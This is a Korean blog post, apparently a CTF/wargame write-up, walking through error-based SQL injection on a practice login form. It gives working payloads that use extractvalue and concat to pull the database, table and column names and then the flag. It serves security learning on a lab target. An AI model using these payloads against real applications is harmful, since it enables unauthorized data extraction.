-
SQL Injection - 3wargame/segfault 2024. 6. 17. 10:47
normaltic / 1234 로 정상 로그인이 가능하며 post로 보낸다. 자세한 페이지 분석은 생략한다.
SQL Injection 가능성 확인
id에 normaltic' and '1'='1 , pass에 1234를 입력했는데도 정상 로그인이 되므로 SQL Injection이 가능하다고 판단된다.
Error 출력이 되는지 확인
데이터 쿼리 결과가 출력되는 곳이 아니기 때문에 Union SQLi가 불가능하다. 그렇기 때문에 에러가 출력되는지 확인해서, 만약 그렇다면 Error Based SQLi를 실시한다.
확인해보기 위해 id에 normaltic' 을 삽입해서 문법 에러를 유발한다.
/* 예상 sql query SELECT * from member WHERE id='___' and pass='___' 여기에 normaltic' 1234를 입력하면 다음과 같다. SELECT * from member WHERE id='normaltic'' and pass='1234' 에러가 난다. */
에러가 출력되는 것을 알 수 있다. 따라서 Error Based SQLi가 가능하다고 판단된다.
Error Based SQL Injection을 이용한 flag 찾기
1. 공격 format 준비
normaltic' and (extractvalue('1',(concat(0x3a,(___________))))) and '1'='1
2. DB 이름 찾기
normaltic' and (extractvalue('1',(concat(0x3a,(select database()))))) and '1'='1
DB 이름: sqli_2
3. Table 이름 찾기
normaltic' and (extractvalue('1',(concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))))) and '1'='1
Table: flag_table, member
4. Column 찾기
normaltic' and (extractvalue('1',(concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1))))) and '1'='1
flag_table의 column: flag
5. Data 추출
normaltic' and (extractvalue('1',(concat(0x3a,(select flag from flag_table limit 0,1))))) and '1'='1
Flag 추출 완료!
'wargame > segfault' 카테고리의 다른 글
SQL Injection - 5 (0) 2024.06.17 SQL Injection - 4 (0) 2024.06.17 SQL Injection - Blind Practice (0) 2024.06.17 SQL Injection - Error Based SQLi Basic (0) 2024.06.17 SQL Injection - 2 (0) 2024.06.17